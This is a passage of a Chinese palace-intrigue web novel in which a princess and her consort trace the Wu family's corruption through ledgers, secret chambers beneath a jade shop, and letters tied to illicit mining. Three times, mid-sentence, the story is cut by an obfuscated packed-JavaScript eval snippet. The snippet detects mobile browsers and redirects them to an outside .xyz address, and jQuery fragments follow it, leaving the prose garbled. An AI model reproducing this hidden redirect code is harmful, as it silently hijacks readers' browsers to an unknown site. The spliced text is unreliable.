商景徽抬眸,露出不加遮掩的算计,说道:“我们要做的,只是推一把,让世家抛弃吴氏。”
秦处安靠在后面,歪头笑看着商景徽,感叹道:“公主殿下,我们真是心有灵犀。”
“没人想和你心有灵犀,”商景徽乜了他一眼,站起来,踱步至一旁,冷声道:“少说话,驸马爷。”
秦处安依旧坐着,目光跟随着商景徽,倚着桌案笑。
半个时辰后,卫愈领着师父回来了。
“小人华业,见过公主,驸马。”
此时的华业,与商景徽一个月前见到的,已经大有不同。如今衣着干净得体,腿脚麻利,满面红光,说话声音也洪亮了。
商景徽颔首,寒暄道:“近日身体可好?”
华业道:“承蒙公主福光庇护,小的已经大好了,如今在淳味楼做事,衣食无忧。”
“没事就好,”商景徽进入正题:“听卫愈说,华先生会一些机关奇术,可否帮忙看看,这个匣子能否打开?”
华业倒是不推让,也没过多谦虚,上前道:“小的可以一试。”
8. 禾朝
商景徽对华业这个人没有了解,上一世,秦简捡到卫愈时,华业已经被吴二公子害死了。更何况,从前卫愈是秦简的人,她没必要去了解别人的普通侍卫的背景。
不过,这一世,她提前救下了卫愈,也意外收获了华业这样的匠人。
华业已经低头摆弄了三刻,依旧面不改色,倒是卫愈戳在一边,额头上布满了汗珠。
商景徽其实不报太大希望,就算解不开也不会把他们怎么样。她坐在一边喝茶,秦处安非要守在她身边,不知在哪里抽出一本游记来看。
“咔哒”一声脆响之后,匣子打开了。商景徽抬眸,立刻丢下茶碗,上前去接过盒子。
秦处安闻声也凑过来。
商景徽小心翼翼地将盒子摆在面前的桌面上,看见匣子里有一沓泛黄的纸。
商景徽轻轻将纸张拿出来,粗略地翻看着,眉头渐渐蹙起来。那是一叠断断续续的账单,时间并不联续,像是从某本账本上摘下来的。
秦处安虽然坐在一旁,但很有风度地没凑过去看纸张上的内容,他见商景徽神情凝重,才问道:“怎么了?有什么问题吗?”
商景徽轻轻放下账本,说:“这是幡明楼十五年前的账面。”
“幡明楼?”秦处安疑惑地重复了一句,“吴家的产业?这么巧?”
吴家本为皇商,如今的吴家二公子,常年四处游走,领的是为宫中采买的差事。幡明楼背靠吴家,经营玉石生意,十数年来,已成垄断之势。
“看来这吴家确实要好好查,”商景徽细细看着账本上的记录,说:“这些都是大额的银钱流入,上面写的来源肯定不是真的,这些银子真正的来历,如今也不知还能否查出来了。”
商景徽叹了一口气,要查十几年前的账,简直难如登天。
她将账本轻轻放在一边,看去见匣子里面还有一只小瓷瓶。商景徽将瓷瓶的塞子拔出来,里面是白色粉末。
商景徽捏着瓷瓶就要往鼻尖处送,秦处安倏地瞪大眼睛,眼疾手快地抢上去,双手堪堪抓住对方握着瓷瓶的手。
商景徽疑惑地看向他。
“公主殿下,这不明粉末可不能瞎闻啊!”秦处安握着她的手放下来,道,“这种东西八成是药品,谁知道是用来做什么的,粉末又容易飞,一靠近就容易进身体,万一引发了什么病症,孝文皇后的在天之灵也会伤心的。”
商景徽安静地等着他说完这些长篇大论,将塞子重新塞回去,道:“我知道了,过后再找人验就是了。”
药瓶被妥善地放到了一边,商景徽又将匣子里最后一件东西拿出来。
那是一张叠好的羊皮小卷。商景徽展开来,原是一张图纸,图纸上画的是一个圆形蟠螭纹物件,花纹繁杂。
她端详了一阵,看不出门道,于是递给了华业:“先生可否能看出,此物是做什么用的?”
华业恭敬接过去,研究了一会儿,才说:“这看上去像是卡扣,应当是嵌在某个地方的,至于用途……很广,小人也不敢妄下定论。”
商景徽听完,问道:“那先生可否复刻出来?”
华业点头,二话不说,道:“请公主给小人两日时间。”
商景徽颔首,温声笑道:“无妨,这几日你先在公主府住着,只管安安心心做事。”
随后商景徽又命芊蔚去唤管家周兴,等着的功夫里,她忽然问卫愈:“你痛恨吴家吗?”
主子问下属,恨不恨一个世家大族。即便卫愈曾被吴二公子为难,即便主从二人对此事都心知肚明,可这个问题,卫愈也难以正面回复。
经过一个多月的接触,卫愈对他这个主子的作风也有所了解了。商景徽对待手下虽常常端着架子,但实际上大方宽厚,开明周到。
只是很奇怪,公主对他的态度似乎有些反复无常。他初来乍到,就获得了公主身边暗卫的调遣权,领的差事也都是涉及秘辛的事,按理来说,这是受到信任的表现。
但商景徽却又时不时当面试探,那种试探只停留在意味不明的谈话上,就好像公主故意敲打他:我不信任你。
熏香燃断了,笔直的青烟倏地一抖,倾斜着飘向另一个方向。
秦处安忽然站起来,将方才自己随手扔下的书册拾起来整理好,笑道:“公主殿下,这话根本不必问啊!这种事,换谁都得恨得咬牙切齿吧。”
商景徽绕有兴味地偏头看向对方,秦处安却若无所觉,道:“这世上的一切仇恨,莫大于置人于死地。卫侍卫和华先生是幸运的,得了公主府的庇佑。不过,往事已然化为云烟,谁不想向前看呢?”
卫愈此人,虽然忠心,但一根筋,实在与八面玲珑沾不上边。但这并不代表他不会听话听音,基本的暗示还是懂的。见驸马如此说,卫愈立刻表忠心:“公主殿下知遇之恩,属下感激不尽,如今得以幸免于灾祸,为公主效力,属下定当竭尽所能!”
商景徽听了这番过于正经,甚至尴尬的套话,被逗得放声笑了。秦处安心说这番话从哪儿学来的,未免也太中二了,于是默默转过身去。
还好朱蕤引着管家回来了,解救了屋里难以揭过气氛。
商景徽止了笑,吩咐周兴,道:“为华先生在府里安排一处安静的居处。”
来的路上,芊蔚已经和周兴提前交代了华业的身份,只说公主命木匠打造木雕,放在丽景园。于是周兴领了命,快速带着华业退下了。
商景徽叫住了要跟着离开的卫愈,正色道:“还有一个任务,由你去办最合适。世家大族素来猖狂,吴家二公子传说是个无赖,这些年来,横行霸道,依仗家大势大,无人敢讼。如今,吴家犯了点错,但尚不足以使大厦倾塌,还需再添一把火。所以,我要你去搜集他的罪证。”
商景徽很少在下达命令时和手下人解释这么多,今日这些话,说给卫愈听,算是一种对下属“表忠心”的回应。
待卫愈离开后,秦处安才坐回商景徽身边,理了理衣袖,随意道:“公主殿下放过他吧,卫愈是个老实人,他这样的直肠子,到死也没明白那些弯弯绕绕。”
商景徽睨了他一眼,知道他口中的“弯弯绕绕”意有所指:上辈子,秦简出奔南衡,卫愈被留下来继续探听北靖风声,最后又为了防止被发现而自裁。其实说白了,是从未得到过真正的信任,最终成为了一个弃子。
而秦简失踪后,卫愈失去了主子。虽说他是公主府的侍卫,但那时候的公主,夫君失踪,而侍卫安然无恙地回来了,难免心烦,心存芥蒂,并不愿意看见他。
所以,卫愈的一片赤诚忠心,最后得到的,只有冷眼和被抛弃。
“我就是心里不舒坦,想给他施压,也给你找不痛快,如何?”商景徽瞥了他一眼,才说。
秦处安怔愣了一瞬,脱口而出:“我吗?”
他自认为自己不算聪明,可也不至于听不懂别人的阴阳怪气。
可他是真的没觉出来商景徽在给他添堵……
公主殿下顶多是不想理他,应该不至于给他找不痛快吧……
“公主殿下,您认真的吗?”秦处安往她身边挪了一点,满眼写着“你快说是假的”。
商景徽看见他眼睛里的情绪,又很快移开视线,没搭腔,兀自把账目放回小匣子里,又抽了一张纸,将瓷瓶里的药粉倒出来一些,拿纸包严实。
封匣子的时候,商景徽看着匣子里漆黑的内壁,总感觉哪里很奇怪。但是,秦处安扰着她,她便没细想,封上了匣子。
兰若外出回来,带来了调查先皇后病故缘由的进展。
“皇后娘娘身边的老嬷嬷出宫后,大多寿命不长,十几年来,只剩一位还在世,不过年事已高,又不在京城,瞿影已经亲自前去取证了。”
“掌事姑姑岚妆,在皇后娘娘薨逝后,便下落不明,至今尚在寻找。其他几位大宫女中,一位嫁人后难产而死,还有两位守孝多年后病逝。最后算下来,只剩一个名唤禾朝的宫使,但这位禾朝姑姑……”兰若顿了顿,才艰难启齿:“已经神智不清了。”
商景徽闭了闭眼,下意识抓紧手底下的书卷,道:“那就是……什么也查不出了吗?”
兰若:“奴婢已经将禾朝秘密接到城外的庄子上了,派了专人照料,希望能清醒过来。”
商景徽叹了口气,只得问:“医官院那边呢?”
“奴婢借调了娘娘生前最后两年的问诊记录。皇后娘娘从病逝头两年里开始服药,中间按照身体状况换过三次药,都是对症的。”
兰若欲言又止:“但……如何诊断,是由太医决定的。而当年负责皇后娘娘病情的那位太医,如今任翰林医官使。”
商景徽明白她的意思,翰林医官使,到底是谁的人,可想而知。
商景徽没说话,兰若又劝道:“公主,恕奴婢多言,翰林医官院,掌管整个前朝后宫的视疗之事,公主该做些打算。”
“你说得有理,”商景徽点点头,随后安排道,“先在太医局里物色几位家世清白的学生,推举到翰林医官院。至于院使,先不必打草惊蛇,再另行决议吧。”
“如今还有一件事,”商景徽取出一个小巧的纸包来,递给兰若,说,“去查查这里面的粉末是什么,注意安全。”
商景徽继续吩咐:“另外,盯着点幡明楼,要是能拿到近几年的交易记录最好。”
最近凤光楼坍塌一事,闹得沸反盈天,兰若也清楚,他们公主殿下,这次势必要吴家的命。
这两日商景徽称病在家休养,秦处安在朝堂上发力,一批文官纷纷上奏,认定此次坍塌是吴家贪墨所致,要求彻查凤光楼建造一案。同时,早有与吴家不睦的官员趁机踩上一脚,弹劾吴家多年来收受贿赂,暗箱操作的各种行径。
卫愈那边效率也极高,查出两起田亩之案,暗自投进了御史台的大门里。最值得一提的是,吴家二公子去岁欺男霸女,强夺人妻,闹出过人命官司。
毕竟人命关天,卫愈很快将来龙去脉调查清楚,上报给商景徽。
“起初,吴二强占了平县李家的新妇,李家人不服,定要讨要说法。结果李家老太太因为此事死了,李家诉至县衙,知县不敢得罪吴二,此案拖了几日,李家新妇自缢了。吴二赶着回京,知县便找了个替死鬼,将李家老太太一案草草结了。”
商景徽:“李家人呢?”
卫愈:“现已接到了京城,安置在一家客栈里。”
商景徽点点头,道:“让他们诉至云阳府,闹得动静越大越好,你们负责暗中保护李家证人的安全。”
晚间,商景徽翻看兰若送回来的幡明楼账面,发现了异常。近三年来,幡明楼每年都在固定的时间,有几笔固定的大额银钱流出,流入方式不明。
“这个幡明楼到底在搞什么名堂?”商景徽自言自语,秦处安添了一盏灯,走过来坐下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383554|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,说:“公主,你都不知道这两日朝堂上多热闹!”
商景徽将账目收好,淡淡问:“闹到哪一步了?”
秦处安看着她这般云淡风轻稳操胜券的样子,不知不觉笑了起来:“世家大族总会存在一些不光彩的事,大家心知肚明,闹不到明面上就行,可这一旦揪出来,就是樯倾楫摧。”
他继续说:“那位吴二爷,伤天害理的事儿可真没少做,皇帝这两天收到的折子,能铺满整个大庆宫了。李家一纸诉状,直接告到了朝堂上去,皇帝盛怒,将吴二看押起来。再加上坊间舆论攻讦,那吴石青在朝堂上整日抬不起头来。”
商景徽问:“凤光楼一案如今如何处置了?”
秦处安:“如今吴家成为众矢之的,皇帝已经命人严查当年凤光楼建造一案,他们躲不掉了。不过吴石青还没到老糊涂的程度,主动提出承担坍塌后的赔偿与重建责任。”
商景徽将华业今日给她的镂空圆木雕拿出来,抚摸着上面繁复的纹路,道:“看来,他还没死心啊。”
“要是能再严重一点就好了。”
秦处安若有所感,但没细想,劝道:“经过这一遭,吴家不死也要脱层皮。吴家已然门衰祚薄,吴二是唯一一个成了年的儿子,他出了事,给吴石青不小的打击。”
商景徽将木雕收起来,道:“明日我要去一趟城郊的庄子,见见禾朝。”
二人各自睡下,一夜无话。
第二日,秦处安照常上早朝,商景徽则坐了一辆低调的马车,前往城郊。
朱蕤手腕上的扭伤已经不碍事了,商景徽本来允了她休假,可听说她要去庄子上看禾朝,朱蕤软磨硬泡着跟出来了。于是,商景徽便带着朱蕤和芊蔚同去了。
商景徽成婚时,继承了先皇后的一切嫁妆,城郊这处庄子,也在其中。
庄子上打理得井井有条,商景徽这次是秘密前来,阵仗不大,带的人也不多,是以除了少数自己人,没人注意到,自然免了各种无用的寒暄。
一行人直奔后院临山的一处隐蔽屋舍,庄主替她推开门,商景徽带着两个人进去了。
屋里布置朴素,但物品一应俱全,圆桌前坐着一个打扮整齐的妇人,看上去是被好好照料着的。商景徽松了口气,看来情况比她想像地好一些。
待她靠近了,心里那一口气便又提上来了。十几年过去了,妇人却像是苍老了三十岁,样貌变化很大,商景徽差点认不出这位是当年的禾朝。最令人头疼的是,禾朝目光呆滞,神情恍惚,见到有人来了都没有任何反应。
商景徽弯腰去端详对方的脸,朱蕤不放心,在后面虚扶着商景徽。禾朝忽然抬头,看向商景徽,咧开嘴笑了起来。
朱蕤吓了一跳,立即抓住商景徽的手臂。商景徽勉强控制住惊惶的神情,轻轻拍了拍朱蕤的手,对禾朝温柔地笑了笑,喊出她的名字:“禾朝……”
对方不应,也不语,歪头看着她笑。
商景徽在禾朝对面坐下,看向身后的庄主,庄主叹了一口气,解释道:“这几日,一直有专门的大夫照料禾朝,现在的状况,已经好太多了。最开始来的时候,她根本见不了人。”
商景徽蹙眉,轻轻探出手,拉过禾朝的手,对方手指苍老,带着倒刺。
“你还认得我吗?”商景徽柔声问。
禾朝依旧看着她笑,商景徽觉得,那目光扫过她的脸,没有落到任何地方。
她忽然想起了幼时,母后宫里的几位宫女,岚妆最稳重妥帖,是皇后从国公府带去的,最为年长。禾朝最年轻,性子最活泼,也最会讨皇后欢心,时常带着她玩。
商景徽眸中含笑,也不问问题了,开始讲起故事来。
“长乐宫里有一株很大的海棠,从前,年幼的公主爱玩竹蜻蜓,结果有一次,竹蜻蜓挂到了树上。她太小了,什么也做不了,只会哭。宫人们手忙脚乱地找竹竿往下够,可是有位宫人,直接爬上了树,将竹蜻蜓摘了下来。”
商景徽眼睛里蓄着亮光,她的声音与那日的春风一样轻,继续讲:“宫人上树时,带落了不少海棠花瓣,小公主看着欢喜,眼里挂着泪就笑了,于是宫人就坐在树上摇花枝,雪白的花瓣飞落,很美。”
商景徽笑了,“可是皇后和皇帝一起回来了,见此情景,宫人逃脱不掉,硬着头皮下来。皇帝觉得此事不成体统,要罚,但皇后想法子哄过去了……”
故事里的宫人是禾朝,在皇后宫里敢上树的宫女,十余年后,却神志不清,不知悲喜。
商景徽低头,眨了眨眼睛,长出了一口气。
看来今日跑空了。
她松开握着禾朝的手,往回收的时候,禾朝却突然反握住了她的手腕!
商景徽募地抬眸,见禾朝睁大了眼睛,擎着呆滞的笑意,说:“皇后娘娘!”
商景徽眼睛一亮,莫非禾朝将她当成了母后?
禾朝拉着她的手,笑着说:“苍茵花……”
苍茵花?商景徽忽然想起来了,那花呈蓝色,来自外邦,很难养活,先皇后喜欢,在长乐宫养过很长时间。
后来,先皇后不在了,宫里就不怎么见过这花了,一来皇帝睹物思人,不愿伤怀;二来,没人再养活过这种花了。
禾朝说话颠三倒四,一句话也蹦不出几个字来。商景徽不打断,不追问,耐心听着。
“幡明楼……养得好……”
又是幡明楼!
9. 开矿
“苍茵花……多漂亮的花,真是可惜了……”禾朝松开商景徽,自顾自起身,走到一旁的空花瓶边上,抚摸着花瓶上的纹路,目光落在虚空里,她说,“外邦来的东西啊……”
商景徽跟上去,盯着对方。阳光自窗外打进来,将禾朝的发丝镀上了金光。
商景徽看着禾朝映着光的侧脸,恍惚间看到了一丝清明。她忽然没由来地感到心慌,没再上前追问。
禾朝不再说话,两手放在胸前,愣愣地看着院子里的大树,面上带着似有似无的笑意。
商景徽站了一会儿,知道对方不会再说话了,于是默默往外走。一行人跟着她出了门,她才转身交代:“照顾好禾朝,若她有一日病愈了,便让她自己决定去哪儿。”
商景徽最后回头,隔着窗户向屋子里看了一眼,禾朝已经背过身去了。那一瞬间,这个背影与十几年前重合。
商景徽转身离开,两步之后,背后传来一声惊呼:“姑姑!”
商景徽促然回身,侍从们惊惶地向屋里跑,又听见有人喊:“禾朝姑姑自尽了!”
商景徽闻声大步往回跑,推开门口挤着的侍女,只见禾朝躺在地上,脖子上被划开了一条血口,正在往外喷血,身边还落着一支带血的簪子。
“快堵上!”商景徽指着禾朝的伤口,厉声惊呼,而后又转身吩咐:“去请大夫!”
离禾朝最近的侍从立刻上手捂住伤口,然而已经来不及了。
禾朝歪着头,脸上溅了血珠。商景徽看见她微微眯上了眼,好像扬起了笑意,那是一种释怀的笑,一如当年被皇帝赦免后的笑容。
禾朝最后是合上眼走的,没有挣扎,满身满脸的红,狼狈却安详。
商景徽站在旁边,身体忽然卸了力一般,朱蕤赶忙扶住她。公主眼尾猩红,久久不语,侍从们见她不说话,也都不敢动。
姗姗来迟的大夫进屋后,看见地上倒着的人,摇了摇头。商景徽才抬起头来,冷声道:“今日之事,谁也不准传出去。庄子上寿终正寝了一位老妇,按正常规制下葬。”
众人领命,有条不紊地将现场处理好。
商景徽冷眼看着侍从们进进出出,局外人一般。唯有朱蕤知道,公主的手尚在轻颤。
“去幡明楼!”商景徽转身,快步离开了。
幡明楼的东家吴氏,作为皇商,常年游走四方,接触不少珍奇至宝。京中权贵多有好收集名贵玉石者,幡明楼也是借这个便利,生意得以红火。
商景徽只带了朱蕤一个人,两人带着帷帽,进了幡明楼。
卫愈坐在斜对面的酒馆里,临窗观察着这边的情况。附近的客栈、酒楼、茶肆里,一双双眼睛都盯着卫愈的一举一动,时不时又望向幡明楼。
卫愈握着身上的佩剑,又想起昨日公主接过他呈上的匕首,歪头利落地拔刀。寒光一闪而过,掠过公主那不再柔和的侧脸。
她勾唇笑了:“不错,很趁手。”
商景徽已经上了二楼,卫愈回过神来,见掌柜恭敬地引着商景徽,三人转过拐角,消失在他的视线里。
掌柜的把商景徽安置在包间里,躬身行礼,笑道:“贵人先在此等候,小的这就去通报给老板。”
帷帽下的人伸出手,摆了两下,掌柜的便带上门离开了。
片刻之后,商景徽将帷帽扯下来,随手扔到桌子上。朱蕤也掀起帽子,探头看了商景徽一眼,才摘下帷帽。
商景徽递了一个眼神给朱蕤,后者会意,走到门口。
他们就是冲着这间包厢来的,幡明楼后边有一处宅院,京中少有人知那不起眼的院子属于谁。商景徽派人暗中查过,那院子记在吴家二公子家大娘子名下。
商景徽快速扫量着包间内的陈设,空间不大,内壁是清雅的绿色。墙边的桌上摆着带有异域风情的湛蓝花瓶,看上去价值不菲,与幡明楼的名头很是相配。
商景徽没时间研究玉器,一眼过后,便移到其他地方。她围着墙壁转了一圈,时不时敲敲墙面,可一无所获。
她拿出华业做得木雕板,沉下心来,细细端详上面的镂空处,手指摩挲着花纹。
忽然,商景徽抬眸看向墙边的桌子,桌面上罩着过长的桌布,将将垂到地毯上。
商景徽快步走过去,拎着裙摆蹲下,一把掀起桌布。底下的地面没有铺毯子,木地板直接裸露出来,是整块的,上面不留缝隙。
她半边身子探到桌下,继而侧身抬头,往桌板上摸。
果然,桌板下面有凹槽!
寸着劲行动不便,商景徽换了只手,将手中的木雕盲怼到凹槽处,轻轻调整了几次方向,手上一使力,木雕嵌进了凹槽里。
商景徽听到“咔哒”一声,脚下的木质地板震动了一下,她发觉不对劲,欲往后退——
慢了一步,商景徽掉下去了。
她条下意识将手臂压在头下,几乎是一眨眼地功夫便落地了。身上的披风在漏下来的时候被挂了一下,直接脱了身,慢半拍罩在她身上。
落地的一瞬间,身体是没有感觉的,先反应过来的是脑子:
这么快落地,看来不高,应当是摔不出毛病的。
商景徽还没来得及平缓呼吸,顶上忽然传来动静,木板开始自己平移,朱蕤焦急的脸缓缓消失在越来越小的缝隙里。
顶上的入口封住了,四下一片漆黑。
商景徽缓缓爬起来,摔在地上带来的麻木渐渐消失。她掀开罩在身上的披风,从口袋里摸出随身携带的火折子,点着之后,借着微弱的亮光,飞快地环顾一圈,掰下壁挂灯笼里的蜡烛,用火折子引着。
这是一间朴素的密室,两边甚至是冰凉厚重的石壁。商景徽举着蜡烛,沿着不算宽阔的暗道往里走。转过一个拐角后,尽头终于有了隐现的亮光。
安静的暗道里,只能听见商景徽自己的衣摆翻动声,行至亮光隐隐处,她转过去,眼前出现了一个宽阔的密室。
暗室里没有人,墙上的灯只亮着两盏。商景徽又过去点着了几支蜡烛,室内亮堂了许多。
暗室设置成书房的样子,正中摆着桌案。后面是两个架子,左边放了一架子书本纸张,右边则是半壁摆件半壁匣子。
书
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383555|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
案上放着几张纸,商景徽上前去翻看。那是几封信件,信纸是特制的青蓝色,所有信件一应没有称谓,书信的内容大都特意避开了核心信息,不知所陈何事。
至于落款署名……虽不是人名,但较于不知所云的正文,已经包含很大信息了——
“玥、邹、健、喻、博……”商景徽轻轻嘀咕出声,手攥紧了信纸。
这些都是州名!
最蹊跷的是,这一沓子信里头,涉及到的总共五个州,恰好在此次西北战场调配粮草的八州之中。
怀疑一旦产生,一切就都串珠子似的连起来了。
回看这些信件,上面的的文字忽然明了。
商景徽顺着这条线细想:西北打仗,粮草不足,皇帝下旨借调八州粮草。如今此间暗室里,却出现了来自其中五州的信件。
上一世,沈道行在接下来的一战中又恰好战败受伤……
手上被烫了一下,烛火促然抖动,商景徽握着烛台的手不知不觉歪了,她放下信件,扶正烛台,转身去翻看后面的架子。
架子上摞着不少堪舆地质类的书籍,还有部分地方志。商景徽大致翻了翻,很多与矿物有关的地方都做了标记。看来这间暗室的主人对采矿颇有兴趣。
商景徽弯腰去寻下一层,放的都是些测算数据,她看不懂,只草草翻过,最底下还有一本《天工开物》。
商景徽动作顿住了,因为上一层还有一本一模一样的《天工开物》。她轻轻将烛台放到一边,把这本书抽出来。
这书拿在手里,跟上一本厚度不一样,商景徽掀开,发现书是散页的。
书皮里面,先是一张折叠整齐的皮纸,再往后是一些图纸,依旧与开矿有关。
商景徽展开皮纸,眼里闪过凌厉的疑惑。
那是一张舆图,画的是辽州地区的山脉,有几个位置印着章,商景徽辨认了一会儿,那是京城五大家之一的王家私印。
现今这个时间,此印尚未公之于众。上一世,商铖登基后,王家之势与日俱增,垄断了大靖得兵器制造,这个私印才公布于世。
矿藏、舆图、地方志……种种异常连成一线,商景徽灵光一现——
转角之外忽然传来动静,有人来了!
商景徽强行中断了思路,飞速收拾好手中假的《天工开物》,将所有物品恢复原位,而后端起烛台,匆忙往后面漆黑安静的隔间里躲了。
她寻了一个大箱子遮掩身形,迅速熄灭了烛火,仓促间并未注意箱子与墙相隔一人的宽度。
她屏住呼吸,被钉在原地。方才的暗室里传来一阵窸窸窣窣的声音,她听见有人在翻书页的声音。
商景徽握着手里的烛台,拇指触到带着余温的引线,突然想到一件事:
方才她进去后点了两盏灯,躲进来之前忘记熄了!
外间的动静停了一会儿,而后又响起脚步声。
商景徽翻出身上的匕首,紧紧握在手里。外面又传来了另一个人急促的脚步声。
她还未听清来人说了什么,身后忽然冒出一只手,将她往后拉——
10. 欠款
从商景徽的角度看,是箱子后面忽然冒出来半个人,将她一把拉进了墙里。她甚至没来得及惊叫,惊惶间两手摸着匕首,“穿墙而出”后才拔出刀。
她撞进了厚重的衣料里,触感像是大靖的官服。不过此刻她来不及细想,握着刀的手就要往后扎,对方开口了:“公主殿下,别扎!是我!”
“秦处安?!”商景徽收回刀,对方闻声将她放开,待她站稳后后退了几步。
商景徽转身,就见身着绿色官袍的秦处安站在一步之外的地方,垂眸望着她,见她转身,才换了笑容。
“你怎么在这儿?”商景徽端详着他,眼睛了是毫不遮掩的探究。
“这话本来该我问你的呀,公主殿下。”秦处安叹了一口气,一脸无辜的表情,却还是自己先解释了起来:“我来搜查吴家的罪证,结果遇见了你。”
商景徽狐疑地看着他,明显不信。秦处安却说:“公主,我们回去再慢慢说吧,如今搜查要紧。上面暂时有人拖着,吴家人不会发现我们进密室来了。待会儿我想办法掩护你出去。”
“好吧,”商景徽紧张的身形放松下来,才想起手中握着的刀。收好匕首后,二人一同四下观察。
此地依旧是一间暗室,商景徽回头看向方才“穿墙而入”的地方,那是一处低矮的暗门,连通幡明楼下的暗室。如今小门已经被秦处安闩上了。
商景徽转过来,往前走了两步,问:“这是吴家那所别苑的地下吗?”
“是,”秦处安跟上她,引着她向另一间走,继续说:“我尚未查过这里,不过,这里面的东西必然干净不了。”
这边暗室比幡明楼底下明亮许多,但暂时看来空荡荡的,空间很小。
“会不会还有什么别的暗室,我们没发现?”秦处安好像看出来她在想什么,问道。
“可能吧,找找看呢。”商景徽说话漫不经心,只顾扫视四周。
两个人分散到暗室的两边,各自寻找着机关。商景徽伸手推墙,忽然,墙上的砖发出磕碰的声音。
她回头,发现秦处安一条腿伸出去,维持着这个姿势回身看她。
对方应该是踩到了什么。
二人交换了一个眼神,一同使力。
而后,侧面的墙震动起来,秦处安已经来到了商景徽身边。墙壁缓缓向两边挪移开,秦处安在这个间隙里,对商景徽开玩笑,道:“公主殿下,你说这后面不会是吴家多年来贪墨所得的财库吧?”
商景徽看了他一眼,讥讽道:“大人还是先祈祷不是什么危险的东西吧。”
秦处安忽然敛起笑意,心说:你还知道危险哪。
商景徽没再看他,墙壁安静下来,两个人一起迈进门。
门后面确实不是什么危险的东西。
只有两个箱子,秦处安掀开其中一只,眼睛瞬间被映得亮晶晶的,他转头对商景徽说:“公主殿下,咱们应该是要发了!”
商景徽安静走过去,见箱子里尽是些奇珍异宝。确实罕见,也很值钱,就是没什么有用的。
“可惜,只能充国库了。”秦处安一瞬间换了脸上的神情,叹息着关上箱子,掀开另一只。
“诶?这是什么?银票吗?”秦处安自言自语,上手翻出来一沓子,看过之后,脸上露出了震惊嫌弃失望的复杂表情。
商景徽一时觉得他的表情很夸张,于是凑过去,淡淡瞥了一眼,彼时秦处安已经翻开了另一沓,公主殿下也愣住了。
“欠条?”商景徽出声道。
秦处安扔下手中的欠条,又往底下翻出来一本,依旧是欠款。他冷冷笑了一声,无望地看向商景徽。
后者淡定地往里翻,难得安慰了秦处安一句:“放心,怎么都不会轮到我们还债的。”
“不,我是在想,他们家一定还有别的财库……”他还想说什么,商景徽却在翻一本账册的时候蹙眉顿住了。
“怎么了?”秦处安敏锐察觉到公主的变化,问道。
商景徽将手中的账本递给她,说“你看看”。而后又俯下身,在箱子里翻找起来。
秦处安一边翻着手中的账册,一边嘀咕:“溪县茶市,鹊州文宝……”秦处安抬头,看向商景徽,道:“这是……四大商?”
商景徽已经将剩余的账册都翻了一遍,只挑出来两本拿在手中,淡声道:“这边还有颖墟织造和屈陵木业的,都是高利贷。”
秦处安若有所思,点破道:“也就是说,四大商在向吴家放高利贷!”
商景徽笑了,向秦处安伸出手,含着隐晦的笑意,道:“秦修撰,此地没有这三本账册。”
秦处安立即会意,回以同样的笑,说:“公主殿下实在聪慧。”
她要暗自带走这三本账册。
放高利贷在大靖是违反律法的,更何况四大商这样的民间商户,私自向吴家这种朝廷命官放贷,更是罪加一等,朝廷一旦追究,就是抄家流放。
商景徽不想让四大商被查处,当然不是出于什么泛滥的善心。
她要将四大商的把柄握在自己的手中。
一息之间,她便想好了往后的对策。
此处已经没有什么更有用的东西了,二人正打算寻找其他机关,外面忽然起了一阵动乱,而后他们听见卫愈的声音从上方传来:
“幡明楼走水了!公主,驸马,暗室里可能会有危险,得马上离开!”
商景徽神色陡然一变,抬腿就要往幡明楼的暗室里冲。秦处安赶忙拉住她:“做什么去?”
商景徽挣扎着,面色焦急,道:“不行,里面有王家私自开矿的证据!要是烧了,这趟就白来了。”
秦处安一听,脸色也是猝然一滞,随即立刻掩去震惊,冷静下来,拉回刚刚挣脱开的商景徽,语气不容置疑,道:“太危险了!他们铁了心要守住这个秘密,就算有证据,如今恐怕也已经被烧尽了。”
秦处安趁着商景徽思索这番话的空白,拉着人往出口去,边走边劝:“公主,来日方长。我们既知道了这个线索,就不愁查不出来!他们如今放火,必然是知道我们已经发现这件事了!你现在进去,若是有什么闪失,岂不是遂了他们的意?”
商景徽冷静下来,回头看了一眼,即便眼里含着不甘,但停止了挣扎,秦处安快速牵着她出了暗室。
暗室上面连通吴家别苑的一间卧房,卫愈尚在出口处等着。
几人出了屋,侍卫们正从院子里往外搬查出来的东西。前面的幡明楼已经开始冒烟,秦处安趁乱护着商景徽从角门出去,外面停着一辆低调朴素的马车。
马车的帘子被人掀开,露出朱蕤的脸。她将商景
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383556|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
徽接到马车里,拉着公主的手就红了眼,正欲开口说话,结果秦处安忽然又折返回来。
他掀开帘子,半个身子探进马车里,对商景徽说:“公主殿下,您今日在淳味楼吃饭了。”
